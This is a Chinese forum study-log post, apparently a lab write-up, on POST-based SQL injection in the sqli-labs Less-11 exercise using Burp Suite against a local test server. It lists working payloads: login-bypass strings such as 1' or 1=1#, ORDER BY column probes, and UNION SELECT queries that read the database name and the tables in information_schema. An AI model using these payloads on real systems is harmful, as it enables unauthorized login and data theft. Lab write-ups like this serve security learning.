学破解第145天,《Less-11 POST型基于burp suite提交注入》学习
前言:
从小学到大专(计算机网络技术专业),玩过去的,所以学习成绩惨不忍睹,什么证书也没考,直到找不到工作才后悔,不知道怎么办才好。
2017年12月16日,通过19元注册码注册论坛账号,开始做伸手党,潜水一年多,上来就是找软件。(拿论坛高大上的软件出去装X)
2018年8月10日,报名了华中科技大学网络教育本科(计算机科学与技术专业)2018级秋季。(开始提升学历)
2019年6月17日,不愿再做小菜鸟一枚,开始零基础学习破解。(感谢小糊涂虫大哥在我刚开始学习脱壳时,录制视频解答我的问题)
2020年7月7日,感谢H大对我的鼓励,拥有了第一篇获得优秀的文章。(接下来希望学习逆向,逆天改命)
2021年8月11日,华科学位英语2次不过,仅取得了毕业证书,学业提升失败,开始琢磨考注册类和职称类证书,谋求涨薪
坛友们,年轻就是资本,和我一起逆天改命吧,我的学习过程全部记录及学习资源:https://www.52pojie.cn/thread-1503734-1-1.html
立帖为证!--------记录学习的点点滴滴
0x1 Less-3 初步试探
1.同样打开index文件源码看到:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
根据前面的知识可以知道很明显这是单引号注入。
2.一样在前面加上这两句代码,把我们注入的sql打印出来,方便分析学习。
echo $sql;
echo "<br/>";
3.点开第11关看看:
发现是表单类型的,需要填写表单,不能再像get请求那样直接地址栏提交数据了。
4.随便输入1'和1,出现了错误提示。
输出:
SELECT username, password FROM users WHERE username='1'' and password='1' LIMIT 0,1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1
试试get方式提交:
http://192.168.32.129:8888/sqli-labs-master/Less-11/?username=1%27%20and%20password=1
没动静,看样子是不行了。
但是通过表单提交后的报错信息可以知道这是单引号注入。
0x2 实战打靶
1.前面学习了使用burp爆破,这里使用它的另一个功能,发送post请求。
2.还是用户名输入1',密码输入1,点击页面时的submit,这时候请求被拦截了,看看截获的数据包:
POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.32.129:8888
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.32.129:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.32.129:8888/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
uname=1%27&passwd=1&submit=Submit
看第一行post请求,最下面传递的参数uname=1%27&passwd=1,看到参数名没有uname和passwd难怪get请求不管用的。
3.CTRL+R,send to repeator,然后菜单栏找到repeator点开,因为前面已经分析出是单引号注入,那么试试绕过登录。
1)要想绕过登录,那么就必须让闭合的语句执行为TRUE。
2)我们输入的用户名或者密码肯定不对,要想为真,那么只能使用or逻辑运算符了,只要有一个条件为真,那么整个语句就会执行。
接下来就按照这个思路试试行不行。
4.利用用户名注入:
构造参数:uname=1%27+or+1%3D1%23&passwd=1&submit=Submit
说明:+在url编码中是空格
输出:
5.利用密码注入:
构造参数:uname=1&passwd=1%27+or+1%3D1%23&submit=Submit
输出:
6.可以看到注入都是成功的,绕过了登录密码,第二个大家可能有疑问,为什么也能注入成功,去PHPmyadmin执行下SQL语句,看到了吗?全都查询出来了,前面and,后面有一个or成立也是可以的。
7.那么我们也可以用户名输入1' or 1=1 LIMIT 2,1#,密码随便输入,得到第三个用户的账户和密码,复习LIMIT的用法。
8.也可以按照以前的办法,利用回显得到我们需要的信息:
1)查找列:
1' or 1=1 order by 1#
1' or 1=1 order by 2#
1' or 1=1 order by 3#,报错了:Unknown column '3' in 'order clause'
说明只有两列。
2)查当前数据库:用户名输入1' union select 1,database()#,点击提交显示:
Your Login name:1
Your Password:security
3)查看当前数据库下的表:用户名输入table_name from information_schema.tables where table_schema='security'
Your Login name:1
Your Password:emails
4)接下来可以通过limit查询,也能使用其他函数查询更多信息了,和前面方法一样。
0x3 总结
1.post提交,地址栏就不会显示提交的参数名了,这个时候就不能直接get提交了。
2.使用burp suite可以拦截数据包,得到参数名等信息,也可以利用它修改参数直接发送post请求了。
0x4 参考资料
1.sql注入——利用burpsuite进行post注入
PS:善于总结,善于发现,找到分析问题的思路和解决问题的办法。虽然我现在还是零基础的小菜鸟一枚,也许学习逆向逆天改命我会失败,但也有着成功的可能,只要还有希望,就决不放弃!